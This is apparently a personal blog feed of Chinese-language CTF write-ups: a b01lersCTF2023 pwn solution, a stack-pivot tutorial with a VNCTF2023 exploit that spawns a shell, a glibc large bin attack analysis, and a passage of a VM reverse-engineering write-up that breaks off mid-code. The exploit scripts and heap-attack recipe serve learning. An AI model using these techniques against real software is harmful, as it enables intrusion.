[rsp+20h] [rbp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  print(<span class="string">&quot;Your data to decrypt?:\n&quot;</span>);</span><br><span class="line">  read_chars(v3, <span class="number">0LL</span>, <span class="number">16LL</span>);</span><br><span class="line">  print(<span class="string">&quot;Your key?:\n&quot;</span>);</span><br><span class="line">  readuntil((__int64)buf, <span class="number">0LL</span>, <span class="string">&#x27;\n&#x27;</span>);</span><br><span class="line">  print(<span class="string">&quot;Your decrypted data:\n&quot;</span>);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0LL</span>; i != <span class="number">16</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    arg2 = buf[i] ^ v3[i];</span><br><span class="line">    syscall(<span class="number">1LL</span>, <span class="number">1LL</span>, (__int64)&amp;arg2, <span class="number">1LL</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p>显然0x4002ed处的函数存在漏洞，函数伪代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __fastcall <span class="title function_">readuntil</span><span class="params">(<span class="type">char</span> *buf, __int64 fd, <span class="type">char</span> c)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( syscall(<span class="number">0LL</span>, fd, (__int64)buf, <span class="number">1LL</span>) &lt;= <span class="number">0</span> )</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">5LL</span>);</span><br><span class="line">    ++buf;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( *(buf - <span class="number">1</span>) != c );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于这个二进制文件使用寄存器的习惯与正常程序不同，我们需要仔细分析究竟可以溢出多少字节。寻找交叉引用得到sub_400486函数。（为方便调试程序，我patch了程序，注释中为patch前的内容）</p><p><img src="/400486.png" alt="sub_400486"></p><p>注意到buf是在[rsp+10h]处开始读入，可以实现栈上任意长度的覆盖。然而canary在[rsp+48h]处，即retn addr处，这使我们不能轻易控制控制流。</p><p>注意到canary在loader脚本中是以set存储的，所以是无序的。此时我们观察set中的值，除去原本的canary之外只有一个值0x4005e2，即程序启动时调用sub_400524存储的canary，此时我们别无选择——覆盖retn addr为0x4005e2。</p><p>观察0x4005e2处的汇编代码</p><p><img src="/4005e2.png" alt="0x4005e2"></p><p>若eax&#x3D;&#x3D;1，则程序重新调用sub_400524，即实现了程序的循环运行。往前回溯，eax对应的是sub_400486函数中<code>syscall(1,1,&amp;arg2,1)</code>的返回值，显然这里返回值必定为1，因此可以通过eax&#x3D;&#x3D;1的判断。</p><p>程序循环执行时，++dword_601000的操作会被执行多次，即读入用户输入的缓冲区地址不断后移，我们可以通过多次循环使其移至存储文件名的位置，覆盖其为”flag.txt”，从而将flag作为key读入，泄露flag</p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">r = process(<span class="string">&quot;./loader.py&quot;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>):</span><br><span class="line">    <span class="built_in">print</span>(i)</span><br><span class="line">    r.sendafter(<span class="string">&#x27;?:\n&#x27;</span>,<span class="string">b&#x27;flag.txt&#x27;</span>.ljust(<span class="number">16</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">    r.sendafter(<span class="string">&#x27;:\n&#x27;</span>,<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">    r.sendline(<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x38</span>+p64(<span class="number">0x4005e2</span>))</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="https://blog.snwo.kr/posts/(ctf)-b01lers-ctf-2023/">https://blog.snwo.kr/posts/(ctf)-b01lers-ctf-2023/</a></p>]]></content>
    
    
    <summary type="html">b01lersCTF2023 pwn cfifufuuufuuuuu赛题复现 by 没有头猪</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="b01lersCTF2023" scheme="https://zqy.ink/tags/b01lersCTF2023/"/>
    
  </entry>
  
  <entry>
    <title>栈迁移原理分析</title>
    <link href="https://zqy.ink/2023/03/21/pivot/"/>
    <id>https://zqy.ink/2023/03/21/pivot/</id>
    <published>2023-03-21T16:11:12.000Z</published>
    <updated>2025-11-14T08:20:36.931Z</updated>
    
    <content type="html"><![CDATA[<h2 id="栈迁移"><a href="#栈迁移" class="headerlink" title="栈迁移"></a>栈迁移</h2><h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><p>由于栈地址的随机化，有时利用缓冲区溢出进行多次ROP时不方便覆盖prev rbp位置的地址（假如覆盖的返回地址为函数中间，不包括push rbp; mov rbp,rsp;部分）；或者更常遇到的是，我们输入的内容很多，然而真正溢出的部分很少，难以进行ROP的情况。我们希望用一种办法，使栈迁移至已知地址处，这就是栈迁移(stack pivot)攻击技术。</p><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>在一个函数的结尾，通常有</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">leave</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p>指令，这是为了恢复之前保存的rbp寄存器，同时返回至原先的指令位置。其中leave相当于</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mov rsp, rbp</span><br><span class="line">pop rbp</span><br></pre></td></tr></table></figure><p>这是很自然的，一个函数中，rbp常常不变（因为要作为栈底指针，便于寻找变量对应的内存位置），而rsp可能会改变（比如c99标准中引入的可变长数组特性）。无论被调用函数将栈开辟到哪个位置（即无论rsp指针指向哪里），leave都能将栈指针指向栈底，并且将栈底保存的原先的rbp地址pop给rbp，此时rsp+&#x3D;8，rsp指向返回地址，再执行ret指令，返回至原先的位置。</p><p>那么考虑构造ROP链，使得连续执行两次leave，将栈安排如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[fake stack]                     &lt;- prev rbp</span><br><span class="line">[addr to leave;ret; instruction] &lt;- retn addr</span><br><span class="line">[fake rbp addr]                  &lt;- prev rbp</span><br><span class="line">[addr to next gadget]            &lt;- retn addr</span><br></pre></td></tr></table></figure><p>使用pop rip代替ret，用mov rsp,rbp;pop rbp;代替leave，可以如此展示程序流程</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">mov rsp,rbp</span><br><span class="line">pop rbp      ;rbp=fake_stack</span><br><span class="line">pop rip      ;这里伪造的retn addr为下一个leave;ret;</span><br><span class="line">mov rsp,rbp  ;此时rsp=rbp，而rbp==fake_stack</span><br><span class="line">pop rbp      ;rbp=fake_rbp</span><br><span class="line">pop rip      ;返回至下一个gadget</span><br></pre></td></tr></table></figure><p>由此，我们实现了对栈指针的劫持。</p><p>实战中，我们常将栈迁移至bss段后的位置，或堆上的位置。因为linux系统分配内存时，一个内存页的大小至少为0x1000，而bss段经常没有这么长，所以可以将栈劫持到(bss&amp;~(0xfff))+0x900之类的位置上。</p><h2 id="实践"><a href="#实践" class="headerlink" title="实践"></a>实践</h2><h3 id="VNCTF2023-traveler"><a href="#VNCTF2023-traveler" class="headerlink" title="VNCTF2023 traveler"></a>VNCTF2023 traveler</h3><p>程序中有system，直接两次栈迁移构造ROP</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">p=process(<span class="string">&#x27;./traveler&#x27;</span>)</span><br><span class="line">pop_rdi_ret=<span class="number">0x4012c3</span></span><br><span class="line">leave_ret=<span class="number">0x401253</span></span><br><span class="line">ret=<span class="number">0x40101a</span></span><br><span class="line">fake_stack2=<span class="number">0x404900</span></span><br><span class="line">msg=<span class="number">0x4040a0</span></span><br><span class="line">system=<span class="number">0x401090</span></span><br><span class="line">p.sendafter(<span class="string">b&#x27;\n&#x27;</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x20</span>+p64(fake_stack2)+p64(<span class="number">0x40120a</span>))</span><br><span class="line">p.sendafter(<span class="string">b&#x27;\n&#x27;</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">p.sendafter(<span class="string">b&#x27;\n&#x27;</span>,p64(pop_rdi_ret)+p64(msg)+p64(system)+p64(<span class="number">0</span>)+p64(<span class="number">0x4048d8</span>)+p64(leave_ret))</span><br><span class="line">p.sendafter(<span class="string">b&#x27;\n&#x27;</span>,<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">本文将以x86_64架构为例，讲解栈迁移技术的原理与应用。</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="beginner" scheme="https://zqy.ink/tags/beginner/"/>
    
    <category term="stack pivotting" scheme="https://zqy.ink/tags/stack-pivotting/"/>
    
  </entry>
  
  <entry>
    <title>Large Bin Attack源码分析</title>
    <link href="https://zqy.ink/2023/03/07/Large_bin_attack/"/>
    <id>https://zqy.ink/2023/03/07/Large_bin_attack/</id>
    <published>2023-03-07T16:22:17.000Z</published>
    <updated>2025-11-14T08:20:36.879Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>在高版本glibc中，由于在Tcache, fastbin等位置引入了较严格的安全检查，很多低版本glibc中可以使用的攻击手法都难以利用。Large bin attack可以将任意位置覆盖一个可控堆地址，成为了有力的攻击手段。在取消各种hook的高版本glibc下，使用large bin attack进行fsop等攻击也成为了经典的攻击手段。</p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>当free掉一个chunk的时候，如果范围不在Tcache范围内，或Tcache已满且不在fastbin范围内，并且不与top chunk相邻，chunk会进入unsorted bin</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">clear_inuse_bit_at_offset(nextchunk, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">Place the chunk in unsorted chunk list. Chunks are</span></span><br><span class="line"><span class="comment">not placed into regular bins until after they have</span></span><br><span class="line"><span class="comment">been given one chance to be used in malloc.</span></span><br><span class="line"><span class="comment">      */</span></span><br><span class="line"></span><br><span class="line">bck = unsorted_chunks(av);</span><br><span class="line">fwd = bck-&gt;fd;</span><br><span class="line"><span class="keyword">if</span> (__glibc_unlikely (fwd-&gt;bk != bck))</span><br><span class="line">    malloc_printerr (<span class="string">&quot;free(): corrupted unsorted chunks&quot;</span>);</span><br><span class="line">p-&gt;fd = fwd;</span><br><span class="line">p-&gt;bk = bck;</span><br><span class="line"><span class="keyword">if</span> (!in_smallbin_range(size))</span><br><span class="line">&#123;</span><br><span class="line">    p-&gt;fd_nextsize = <span class="literal">NULL</span>;</span><br><span class="line">    p-&gt;bk_nextsize = <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line">bck-&gt;fd = p;</span><br><span class="line">fwd-&gt;bk = p;</span><br><span class="line"></span><br><span class="line">set_head(p, size | PREV_INUSE);</span><br><span class="line">set_foot(p, size);</span><br><span class="line"></span><br><span class="line">check_free_chunk(av, p);</span><br></pre></td></tr></table></figure><p>只有在下一次malloc更大的chunk时，符合large bin大小的chunk才会被放入large bin</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* remove from unsorted list */</span></span><br><span class="line"><span class="keyword">if</span> (__glibc_unlikely (bck-&gt;fd != victim))</span><br><span class="line">    malloc_printerr (<span class="string">&quot;malloc(): corrupted unsorted chunks 3&quot;</span>);</span><br><span class="line">unsorted_chunks (av)-&gt;bk = bck;</span><br><span class="line">bck-&gt;fd = unsorted_chunks (av);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Take now instead of binning if exact fit */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (size == nb)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">/* ... */</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* place chunk in bin */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (in_smallbin_range (size))</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">/* ... */</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">    victim_index = largebin_index (size);</span><br><span class="line">    bck = bin_at (av, victim_index);</span><br><span class="line">    fwd = bck-&gt;fd;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* maintain large bins in sorted order */</span></span><br><span class="line">    <span class="keyword">if</span> (fwd != bck)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">/* Or with inuse bit to speed comparisons */</span></span><br><span class="line">        size |= PREV_INUSE;</span><br><span class="line">        <span class="comment">/* if smaller than smallest, bypass loop below */</span></span><br><span class="line">        assert (chunk_main_arena (bck-&gt;bk));</span><br><span class="line">        <span class="keyword">if</span> ((<span class="type">unsigned</span> <span class="type">long</span>) (size)</span><br><span class="line">            &lt; (<span class="type">unsigned</span> <span class="type">long</span>) chunksize_nomask (bck-&gt;bk))</span><br><span class="line">        &#123;</span><br><span class="line">            fwd = bck;</span><br><span class="line">            bck = bck-&gt;bk;</span><br><span class="line"></span><br><span class="line">            victim-&gt;fd_nextsize = fwd-&gt;fd;</span><br><span class="line">            victim-&gt;bk_nextsize = fwd-&gt;fd-&gt;bk_nextsize;</span><br><span class="line">            fwd-&gt;fd-&gt;bk_nextsize = victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            assert (chunk_main_arena (fwd));</span><br><span class="line">            <span class="keyword">while</span> ((<span class="type">unsigned</span> <span class="type">long</span>) size &lt; chunksize_nomask (fwd))</span><br><span class="line">            &#123;</span><br><span class="line">                fwd = fwd-&gt;fd_nextsize;</span><br><span class="line">                assert (chunk_main_arena (fwd));</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> ((<span class="type">unsigned</span> <span class="type">long</span>) size</span><br><span class="line">                == (<span class="type">unsigned</span> <span class="type">long</span>) chunksize_nomask (fwd))</span><br><span class="line">                <span class="comment">/* Always insert in the second position.  */</span></span><br><span class="line">                fwd = fwd-&gt;fd;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">                victim-&gt;fd_nextsize = fwd;</span><br><span class="line">                victim-&gt;bk_nextsize = fwd-&gt;bk_nextsize;</span><br><span class="line">                <span class="keyword">if</span> (__glibc_unlikely (fwd-&gt;bk_nextsize-&gt;fd_nextsize != fwd))</span><br><span class="line">                    malloc_printerr (<span class="string">&quot;malloc(): largebin double linked list corrupted (nextsize)&quot;</span>);</span><br><span class="line">                fwd-&gt;bk_nextsize = victim;</span><br><span class="line">                victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;</span><br><span class="line">            &#125;</span><br><span class="line">            bck = fwd-&gt;bk;</span><br><span class="line">            <span class="keyword">if</span> (bck-&gt;fd != fwd)</span><br><span class="line">                malloc_printerr (<span class="string">&quot;malloc(): largebin double linked list corrupted (bk)&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        victim-&gt;fd_nextsize = victim-&gt;bk_nextsize = victim;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">mark_bin (av, victim_index);</span><br><span class="line">victim-&gt;bk = bck;</span><br><span class="line">victim-&gt;fd = fwd;</span><br><span class="line">fwd-&gt;bk = victim;</span><br><span class="line">bck-&gt;fd = victim;</span><br></pre></td></tr></table></figure><p>注意到为了使同一large bin中的chunk有序，插入chunk时对大小进行了判断。而当<code>(unsigned long) (size) &lt; (unsigned long) chunksize_nomask (bck-&gt;bk))</code>即在要插入的chunk比large bin中已有的chunk小的时候，进行了没有检查的赋值操作<code>fwd-&gt;fd-&gt;bk_nextsize = victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;</code>，只要更改<code>victim-&gt;bk_nextsize</code>，而<code>victim-&gt;bk_nextsize</code>在前面被赋值为<code>fwd-&gt;fd-&gt;bk_nextsize</code>。因此只要更改<code>fwd-&gt;fd-&gt;bk_nextsize</code>为<code>addr-0x20</code>，就可以在addr处写入victim的堆地址。</p><h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h2><ol><li><p>申请<strong>处于同一large bin范围的</strong>一大一小两个堆块chunk1, chunk2（两个chunk间需要分隔，与top chunk也要分隔）</p></li><li><p>释放chunk1后申请比其更大的堆块使其从unsorted bin进入large bin</p></li><li><p>更改chunk1-&gt;bk_nextsize为addr-0x20</p></li><li><p>释放chunk2后申请比其更大的堆块使其从unsorted bin进入large bin，完成攻击</p></li></ol>]]></content>
    
    
    <summary type="html">glibc 2.35下的Large Bin Attack源码分析</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="heap exploitation" scheme="https://zqy.ink/tags/heap-exploitation/"/>
    
    <category term="large bin attack" scheme="https://zqy.ink/tags/large-bin-attack/"/>
    
  </entry>
  
  <entry>
    <title>TSCTF-J 2022 Reverse Robot赛题复现</title>
    <link href="https://zqy.ink/2023/02/13/TSCTF-J_2022_Robot/"/>
    <id>https://zqy.ink/2023/02/13/TSCTF-J_2022_Robot/</id>
    <published>2023-02-13T04:52:26.000Z</published>
    <updated>2025-11-14T08:20:36.879Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>题目名叫🤖，因为害怕奇奇怪怪的编码错误，我暂且叫它Robot</p><p>HNCTF有相似的题目，名叫WEIRD VM</p><p>半年前拿到这题我连看都不敢看一眼，现在回想起来再看花10小时做出来了，可能这就是进步吧（胡言乱语（（</p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>程序没有加混淆，主函数一目了然是一个简单到过头的虚拟机</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> __int16 *v3; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">unsigned</span> __int16 *v4; <span class="comment">// rbx</span></span><br><span class="line">  <span class="type">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  __int64 v6; <span class="comment">// rdx</span></span><br><span class="line">  __int64 v7; <span class="comment">// r8</span></span><br><span class="line">  __int64 src1; <span class="comment">// rcx</span></span><br><span class="line">  __int64 src0; <span class="comment">// rax</span></span><br><span class="line">  __int64 dst; <span class="comment">// r9</span></span><br><span class="line">  <span class="type">unsigned</span> __int16 v11; <span class="comment">// dx</span></span><br><span class="line"></span><br><span class="line">  v3 = (<span class="type">unsigned</span> __int16 *)VirtualAlloc(<span class="number">0</span>i64, <span class="number">0x20000u</span>i64, <span class="number">0x1000u</span>, <span class="number">4u</span>);</span><br><span class="line">  vm = (__int64)v3;</span><br><span class="line">  v4 = v3;</span><br><span class="line">  <span class="keyword">if</span> ( v3 )</span><br><span class="line">  &#123;</span><br><span class="line">    memmove(v3 + <span class="number">300</span>, &amp;code, <span class="number">0x4088u</span>i64);</span><br><span class="line">    *v4 = <span class="number">300</span>;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v4[<span class="number">4</span>] == <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v6 = v4[<span class="number">3</span>];</span><br><span class="line">        v4[<span class="number">4</span>] = <span class="number">0</span>;</span><br><span class="line">        printch((<span class="type">int</span>)&amp;unk_7FF6216D1740, v6);</span><br><span class="line">        v4 = (<span class="type">unsigned</span> __int16 *)vm;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> ( v4[<span class="number">6</span>] == <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v4[<span class="number">6</span>] = <span class="number">0</span>;</span><br><span class="line">        ((<span class="type">void</span> (__fastcall *)(<span class="type">void</span> *, <span class="type">unsigned</span> __int16 *))getch)(&amp;unk_7FF6216D1740, v4 + <span class="number">5</span>);</span><br><span class="line">        v4 = (<span class="type">unsigned</span> __int16 *)vm;</span><br><span class="line">      &#125;</span><br><span class="line">      v7 = *v4;</span><br><span class="line">      src1 = v4[v7 + <span class="number">1</span>];</span><br><span class="line">      src0 = v4[v7];</span><br><span class="line">      dst = v4[v7 + <span class="number">2</span>];</span><br><span class="line">      *v4 = v7 + <span class="number">3</span>;</span><br><span class="line">      v11 = ~(v4[src0] | v4[src1]);</span><br><span class="line">      v4[dst] = v11;</span><br><span class="line">      v4[<span class="number">1</span>] = __ROL2__(v11, <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( *v4 != <span class="number">0xFFFF</span> );</span><br><span class="line">    VirtualFree(v4, <span class="number">0</span>i64, <span class="number">0x8000u</span>);</span><br><span class="line">    result = <span class="number">0</span>;</span><br><span class="line">    vm = <span class="number">0</span>i64;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    printch((<span class="type">int</span>)<span class="string">&quot;Init ?? failed\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>显然这个虚拟机字长为2字节，v4[0]是pc，v[3]，v[4]用于输出，v[5]，v[6]用于输入。v4[300]开始存储指令。比较特别的是，这个虚拟机只能进行nor运算，指令长度为3个word，前两个是源操作数的地址，第三个是目的操作数的地址。特殊地，v4[1]的位置存储了nor运算结果循环左移1位的结果。</p><p>为了更好了解这个虚拟机是怎么工作的，我们可以单步调试观察。观察可得v4[7]是一个用于暂存数据的寄存器。在存取数据时，src0&#x3D;&#x3D;src1；数据从一个内存地址转移到另一个内存地址时，常用v4[7]作为中转，即src-&gt;v4[7]-&gt;dst，这样相当于进行了两次取反运算，即dst的值等于src的值。程序将立即数夹杂在指令中，并在指令中进行跳转操作，跳过中间夹杂的立即数，并取走立即数。循环左移则用于对输入内容的加密。</p><p>虽然指令已经很明确了（毕竟只有nor），但是如果这样将code直接翻译过来，那工作量会大幅上升。我们可以根据虚拟机通过nor实现复杂指令的特点，识别复杂指令。将code dump下来后，编写反汇编器如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span 